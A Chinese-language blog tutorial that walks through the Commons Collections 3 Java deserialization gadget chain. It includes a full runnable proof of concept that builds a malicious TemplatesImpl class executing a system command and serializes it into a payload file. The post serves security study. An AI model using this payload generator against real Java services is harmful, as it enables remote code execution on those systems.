首页 > 编程语言 >JAVA反序列化学习-CommonsCollections3(基于ysoserial)

JAVA反序列化学习-CommonsCollections3(基于ysoserial)

时间:2024-11-19 10:55:55浏览次数:1  
标签:Templates templates Class JAVA ysoserial class new 序列化 TrAXFilter

环境准备

JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)

JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2</version>
</dependency>

因为这里用到了Proxy,所以JDK8新版本中不可用,在CC5中提到了一种新的利用方式,可以不通过Proxy来调用。

正文

CC3 攻击链的关键在于利用 TemplatesChainedTransformerConstantTransformerInstantiateTransformer类来形成一系列的反射调用,最终触发恶意类的加载或执行。

本质上来说CC3攻击链条是CC2中的Templates部分+CC1中的Proxy部分,所以大家都说CC3是CC1和CC2的变种写法。其实CC攻击链并非只有一种固定写法,可以通过多种写法的结合来完成新的攻击链,当把ysoserial中的CC链学完之后,就可以自己尝试自由组合。

CC3中多了几个类:

TrAXFilter

TrAXFilter 类是 Java 中 XML 处理相关的一个类,属于 Java XML API 的一部分。它主要用于过滤和处理 XML 数据流。TrAXFilter 实现了 javax.xml.transform.sax.SAXResult 接口,提供了对 XML 数据流的接收、处理和转换能力。在一些利用中,特别是在 Java 反序列化漏洞的利用链(如 CC3)中,TrAXFilter 被用作利用链的一部分,因为它的构造函数涉及到了 Templates 类对象,并且其操作可以被利用来执行恶意代码。

CC3中的应用

配合 ChainedTransformer 在 CC3 中,TrAXFilter 通常与 ChainedTransformer 类结合使用。ChainedTransformer 允许多个 Transformer 被顺序调用,从而达到多层嵌套和最终执行恶意操作的效果。TrAXFilter 是作为其中一个 Transformer 使用的,它的构造函数需要传入 Templates 对象,而 Templates 可以携带恶意字节码。

执行恶意代码: 当反序列化触发时,构造的 TrAXFilter 会被激活,并且它会通过 Templates 生成恶意的 XML 转换过程。具体来说,TrAXFilter 作为一个过滤器,可以与 Templates 类结合,完成从普通 XML 到恶意命令的转换。这就允许通过 XML 数据流来触发恶意代码的执行。

关键代码

public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;
    private TransformerHandlerImpl _transformerHandler;
    private boolean _overrideDefaultParser;
	// 构造函数接收一个Templates参数
    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        // 执行templates的newTransformer方法,而newTransformer就是CC2链中提到的最终执行恶意代码的逻辑
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }
}

InstantiateTransformer

有了上述 gadget ,接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

关键代码

public class InstantiateTransformer implements Transformer, Serializable {
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
    	......
        // 获取input的Class对象的构造方法,并调用构造方法创建实例对象
        // 如果input=TrAXFilter.class,iParamTypes=Templates.class。则最终就能调用到TrAXFilter(Templates templates)
        Constructor con = ((Class)input).getConstructor(this.iParamTypes);
        return con.newInstance(this.iArgs);
        ......
    }
}

基于CC2和CC1的内容,我们可以构造出来以下的POC代码

POC - ysoserial代码

下边的代码还是基于ysoserial的代码的改造版本,不使用ysoserial中的模板代码和工具类,下边的代码可以直接在本地运行。

public class CommonsCollections3 {
    static String serialFileName = "commons-collections3.ser";

    public static void main(String[] args) throws Exception {
        cc3byYsoSerial();
        verify();
    }

    public static void verify() throws Exception {
        // 本地模拟反序列化
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object ignore = (Object) ois.readObject();
    }

    public static void cc3byYsoSerial() throws Exception {
        //==========================CC2中的构造Templates的内容 START==========================
        String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass evil = pool.makeClass("ysoserial.Evil");
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        evil.makeClassInitializer().insertAfter(executeCode);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        evil.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(AbstractTranslet.class.getName());
        evil.setSuperclass(superC);

        final byte[] classBytes = evil.toBytecode();
        byte[][] trueclassbyte = new byte[][]{classBytes};

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, trueclassbyte);

        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Pwnr");

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        //==========================CC2中的构造Templates的内容 END==========================

        //========================CC3的新增调用方式START==============================
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templates } )};
        //=========================CC3的新增调用方式 END===================================

        //=========================CC1中的动态代理方式 反序列化触发 START===========================
        // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        // 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        // 构造动态代理
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        //=========================CC1中的动态代理方式 反序列化触发 END===========================

        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(invocationHandler);
        oos.flush();
        oos.close();
        fos.close();
    }
}

运行效果如下

image-20241119105439855

调用链

调用链就是CC1和CC2的结合版本,如下:

  • ObjectInputStream.readObject()
    • AnnotationInvocationHandler.readObject()
      • Map(Proxy).entrySet()
        • AnnotationInvocationHandler.invoke()
          • LazyMap.get()
            • ChainedTransformer.transform()
              • ConstantTransformer.transform() TrAXFilter
              • InvokerTransformer.transform() Templates
                • TrAXFilter() Templates
                  • TemplatesImpl.newTransformer()
                  • TemplatesImpl.getTransletInstance()
                  • ......
                  • 触发静态代码调用

标签:Templates,templates,Class,JAVA,ysoserial,class,new,序列化,TrAXFilter
From: https://www.cnblogs.com/erosion2020/p/18554451

相关文章

  • 《探索 Java 代码的魅力》
    在编程的世界里,Java无疑是一颗璀璨的明星。它以其强大的功能、跨平台性和广泛的应用场景,成为了众多开发者的首选语言。一、Java的历史与发展Java诞生于1995年,由SunMicrosystems公司推出。它的设计初衷是为了开发一种可以在各种不同的设备上运行的编程语言,以实现“......
  • 《深入理解 Java 类》
    在Java编程中,类(Class)是构建程序的基本单元。它封装了数据和操作这些数据的方法,为代码的组织和复用提供了强大的机制。一、Java类的定义一个Java类通常由以下几个部分组成:类声明:使用关键字“class”来声明一个类,后面跟着类名。例如:classMyClass{}。成员变量:也称......
  • Java 框架:强大的开发利器
    在当今的软件开发领域,Java一直以其强大的性能、跨平台性和丰富的生态系统而备受青睐。而Java框架更是在开发过程中发挥着至关重要的作用,它们为开发者提供了高效、可维护和可扩展的开发方式。一、什么是Java框架?Java框架是一种预先编写好的代码库和工具集合,旨在帮助......
  • JAVA 继承:代码复用与功能扩展的强大机制
    在Java编程中,继承是一种非常重要的概念,它为代码复用和功能扩展提供了强大的机制。本文将深入探讨Java继承的概念、用法以及其带来的好处。一、什么是Java继承?继承是面向对象编程中的一个重要概念,它允许一个类(子类)继承另一个类(父类)的属性和方法。子类可以扩展父类的......
  • java_1
    目录学习内容:一:变量,数据类型,运算符1.变量 2.数据类型数据类型详解:3.常量 4.运算符算数运算符:关系运算符: 位运算符:逻辑运算符:  赋值运算符: 5.Java运算符优先级: 6.Scanner的用法学习内容:一:变量,数据类型,运算符1.变量变量:变量可以变化,是放在内存中运行......
  • java日志常用配置
    <!--pom.xml--><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.30</version></dependency><dep......
  • JAVA WEB 实现文件夹上传(保留目录结构)分享
    需求:大文件上传,批量上传,断点续传,文件夹上传,大文件下载,批量下载,断点下载,文件夹下载文件夹:上传下载需要支持层级结构,采用非压缩方式文件大小:100G前端:vue2,vue3,vue-cli,jquery,html,webuploader后端:JSP,springbootweb服务:tomcat数据库:mysql,oracle,达梦,国产化数据库服务......
  • Java运行环境的安装与配置 idea的安装
    安装Java的运行环境后,对于开发人员来说,只需要编写一次Java源码,就可以在任何支持Java的平台上运行,就不需要关心平台的差异和编译问题,从而大大的提高了开发效率。、一配置Java开发环境步骤1.下载JDKhttps://www.oracle.com/java/technologies/downloads/在官方网站......
  • javax.xml.ws.EndPoint报错
    可能的原因,检查下jdk版本,在jdk8>以上版本中,已经弃用该对象。 先安装jdk21,然后再安装jdk1.8,项目中有用到该对象,提示无法正常加载。(前提确保所有jar都正常引入)排查步骤,看下idea开发工具中jdk的配置版本, javax.xml.ws.EndPoint在jdk1.8版本中存在,高版本中不存在。......
  • (免费源码)计算机毕业设计必看必学 原创定制程序 java、PHP、python、小程序、文案全套
    摘 要为了方便用户快速定位自己感兴趣的国内热门旅游景点信息,国内热门景点推荐系统应运而生。本系统的前端界面主要实现页面的美观和动态效果使之符合广大群众的审美观,后台主要使用的技术主要有Java编程语言,SSM框架,MySQL数据库的旅游推荐系统解决了传统旅游推荐方式中数据......